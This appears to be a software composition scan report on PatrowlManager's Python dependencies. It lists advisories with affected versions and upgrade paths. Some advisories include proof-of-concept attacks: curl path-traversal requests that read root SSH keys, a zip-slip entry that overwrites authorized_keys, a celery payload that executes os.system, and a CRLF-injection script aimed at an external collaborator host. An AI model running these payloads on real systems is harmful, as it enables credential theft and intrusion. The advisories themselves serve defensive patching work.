# Payload file: http://localhost:8000/%2fhome%2fuser%2f.ssh%2fauthorized_keys
# Written to: /home/user/.ssh/authorized_keys

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade setuptools to version 78.1.1 or higher.

References

medium severity

Stored Command Injection

  • Vulnerable module: celery
  • Introduced through: celery@4.4.0, django-celery-beat@2.0.0 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce celery@4.4.0
    Remediation: Upgrade to celery@5.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 celery@4.4.0
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-results@2.0.1 celery@4.4.0
    Remediation: Upgrade to django-celery-results@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce flower@0.9.2 celery@4.4.0
    Remediation: Upgrade to flower@0.9.2.

Overview

Affected versions of this package are vulnerable to Stored Command Injection. It by default trusts the messages and metadata stored in backends (result stores). When reading task metadata from the backend, the data is deserialized. Given that an attacker can gain access to, or somehow manipulate the metadata within a celery backend, they could trigger a stored command injection vulnerability and potentially gain further access to the system.

PoC

Example of modified metadata as stored in the result stores:

'status': 'FAILURE',
'result': json.dumps({
  'exc_module': 'os',
  'exc_type': 'system',
  'exc_message': 'id'
  })
}

Reproduction steps in a Python shell:

from celery.backends.base import Backend
from celery import Celery
b = Backend(Celery())
exc = {'exc_module':'os',  'exc_type':'system', 'exc_message':'id'}
b.exception_to_python(exc)

The result would be an output of os.system('id').

Remediation

Upgrade celery to version 5.2.2 or higher.

References

medium severity

Timing Attack

  • Vulnerable module: flower
  • Introduced through: flower@0.9.2

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce flower@0.9.2
    Remediation: Upgrade to flower@2.0.0.

Overview

Affected versions of this package are vulnerable to Timing Attack via the get_current_user() functionality, due to the usage of non-constant time string comparison to validate HTTP basic authentication credentials.

Remediation

Upgrade flower to version 2.0.0 or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: tornado
  • Introduced through: tornado@5.1 and flower@0.9.2

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce tornado@5.1
    Remediation: Upgrade to tornado@6.3.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce flower@0.9.2 tornado@5.1
    Remediation: Upgrade to flower@0.9.2.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to HTTP Request Smuggling via the parse and validate strings capabilities in the int constructor.

Notes:

  1. This is possible when Tornado is deployed behind certain proxies that interpret those non-standard characters differently.
  2. This is known to apply to older versions of haproxy, although the current release is not affected.

Remediation

Upgrade tornado to version 6.3.3 or higher.

References

medium severity

Improper Neutralization of CRLF Sequences ('CRLF Injection')

  • Vulnerable module: tornado
  • Introduced through: tornado@5.1 and flower@0.9.2

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce tornado@5.1
    Remediation: Upgrade to tornado@6.4.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce flower@0.9.2 tornado@5.1
    Remediation: Upgrade to flower@0.9.2.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Improper Neutralization of CRLF Sequences ('CRLF Injection') through the CurlAsyncHTTPClient headers. An attacker can manipulate HTTP headers and construct unauthorized requests by injecting CRLF sequences into header values.

PoC

The issue can be reproduced using the following script:


import asyncio

from tornado import httpclient
from tornado import curl_httpclient

async def main():
    http_client = curl_httpclient.CurlAsyncHTTPClient()

    request = httpclient.HTTPRequest(
        # Burp Collaborator payload
        "http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/",
        method="POST",
        body="body",
        # Injected header using CRLF characters
        headers={"Foo": "Bar\r\nHeader: Injected"}
    )

    response = await http_client.fetch(request)
    print(response.body)

    http_client.close()

if __name__ == "__main__":
    asyncio.run(main())

When the specified server receives the request, it contains the injected header (Header: Injected) on its own line:

POST / HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
User-Agent: Mozilla/5.0 (compatible; pycurl)
Accept: */*
Accept-Encoding: gzip,deflate
Foo: Bar
Header: Injected
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

The attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of \r\n\r\nPOST /attacker-controlled-url HTTP/1.1\r\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com results in the server receiving an additional, attacker-controlled request:

POST /attacker-controlled-url HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

Remediation

Upgrade tornado to version 6.4.1 or higher.

References

medium severity

Inefficient Algorithmic Complexity

  • Vulnerable module: werkzeug
  • Introduced through: werkzeug@2.0.1

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce werkzeug@2.0.1
    Remediation: Upgrade to werkzeug@2.3.8.

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in multipart data parsing. An attacker can cause a denial of service and block worker processes from handling legitimate requests by sending crafted multipart data to an endpoint that will parse it, eventually exhausting or killing all available workers.

Exploiting this vulnerability is possible if the uploaded file starts with CR or LF and is followed by megabytes of data without these characters.

Remediation

Upgrade werkzeug to version 2.3.8, 3.0.1 or higher.

References

medium severity

Improper Check for Unusual or Exceptional Conditions

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@4.2.16.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Improper Check for Unusual or Exceptional Conditions due to unhandled email sending failures in the django.contrib.auth.forms.PasswordResetForm class. This allows attackers to enumerate user email addresses by brute forcing password reset requests and observing the outcomes.

Remediation

Upgrade django to version 4.2.16, 5.0.9, 5.1.1 or higher.

References

medium severity

Timing Attack

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@4.2.14.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Timing Attack via the django.contrib.auth.backends.ModelBackend.authenticate() method. This allows remote attackers to enumerate users via a timing attack involving login requests for users with unusable passwords.

Remediation

Upgrade django to version 4.2.14, 5.0.7 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: werkzeug
  • Introduced through: werkzeug@2.0.1

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce werkzeug@2.0.1
    Remediation: Upgrade to werkzeug@3.0.6.

Overview

Werkzeug is a WSGI web application library.

Affected versions of this package are vulnerable to Directory Traversal due to a bypass for os.path.isabs(), which allows the improper handling of UNC paths beginning with /, in the safe_join() function. This allows an attacker to read some files on the affected server, if they are stored in an affected path.

Note: This is only exploitable on Windows systems using Python versions prior to 3.11.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade Werkzeug to version 3.0.6 or higher.

References

medium severity

Improper Handling of Windows Device Names

  • Vulnerable module: werkzeug
  • Introduced through: werkzeug@2.0.1

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce werkzeug@2.0.1
    Remediation: Upgrade to werkzeug@3.1.4.

Overview

Affected versions of this package are vulnerable to Improper Handling of Windows Device Names via the safe_join function. An attacker can cause the application to hang indefinitely by requesting a path ending with a Windows special device name, e.g. CON or NUL.

Note: This is only vulnerable on Windows, where special device names are implicitly present in every directory.

Remediation

Upgrade werkzeug to version 3.1.4 or higher.

References

medium severity

Resource Exhaustion

  • Vulnerable module: idna
  • Introduced through: idna@2.5, requests@2.25.1 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce idna@2.5
    Remediation: Upgrade to idna@3.7.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce requests@2.25.1 idna@2.5
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreapi@2.3.3 requests@2.25.1 idna@2.5
    Remediation: Upgrade to coreapi@2.3.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce thehive4py@1.8.1 requests@2.25.1 idna@2.5
    Remediation: Upgrade to thehive4py@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 idna@2.5
    Remediation: Upgrade to openapi-codec@1.3.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 coreapi@2.3.3 requests@2.25.1 idna@2.5
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 idna@2.5

Overview

Affected versions of this package are vulnerable to Resource Exhaustion via the idna.encode function. An attacker can consume significant resources and potentially cause a denial-of-service by supplying specially crafted arguments to this function.

Note: This is triggered by arbitrarily large inputs that would not occur in normal usage but may be passed to the library assuming there is no preliminary input validation by the higher-level application.

Remediation

Upgrade idna to version 3.7 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: requests
  • Introduced through: requests@2.25.1, coreapi@2.3.3 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce requests@2.25.1
    Remediation: Upgrade to requests@2.31.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreapi@2.3.3 requests@2.25.1
    Remediation: Upgrade to coreapi@2.3.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce thehive4py@1.8.1 requests@2.25.1
    Remediation: Upgrade to thehive4py@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1
    Remediation: Upgrade to openapi-codec@1.3.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 coreapi@2.3.3 requests@2.25.1
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1

Overview

Affected versions of this package are vulnerable to Information Exposure by leaking Proxy-Authorization headers to destination servers during redirects to an HTTPS origin. This is a result of how rebuild_proxies is used to recompute and reattach the Proxy-Authorization header to requests when redirected.

NOTE: This behavior has only been observed to affect proxied requests when credentials are supplied in the URL user information component (e.g. https://username:password@proxy:8080), and only when redirecting to HTTPS:

  1. HTTP → HTTPS: leak

  2. HTTPS → HTTP: no leak

  3. HTTPS → HTTPS: leak

  4. HTTP → HTTP: no leak

For HTTP connections sent through the proxy, the proxy will identify the header in the request and remove it prior to forwarding to the destination server. However when sent over HTTPS, the Proxy-Authorization header must be sent in the CONNECT request as the proxy has no visibility into further tunneled requests. This results in Requests forwarding the header to the destination server unintentionally, allowing a malicious actor to potentially exfiltrate those credentials.

Workaround

This vulnerability can be avoided by setting allow_redirects to False on all calls through Requests top-level APIs, and then capturing the 3xx response codes to make a new request to the redirect destination.

Remediation

Upgrade requests to version 2.31.0 or higher.

References

medium severity

Improper Removal of Sensitive Information Before Storage or Transfer

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.5, requests@2.25.1 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce urllib3@1.26.5
    Remediation: Upgrade to urllib3@1.26.19.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to coreapi@2.3.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce thehive4py@1.8.1 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to thehive4py@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to openapi-codec@1.3.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.

Notes:

To be vulnerable, the application must be doing all of the following:

  1. Setting the Proxy-Authorization header without using urllib3's built-in proxy support.

  2. Not disabling HTTP redirects (e.g. with redirects=False)

  3. Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.

Workarounds

  1. Using the Proxy-Authorization header with urllib3's ProxyManager.

  2. Disabling HTTP redirects using redirects=False when sending requests.

  3. Not using the Proxy-Authorization header.

Remediation

Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.5, requests@2.25.1 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce urllib3@1.26.5
    Remediation: Upgrade to urllib3@2.5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to coreapi@2.3.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce thehive4py@1.8.1 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to thehive4py@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to openapi-codec@1.3.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@3.2.22.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
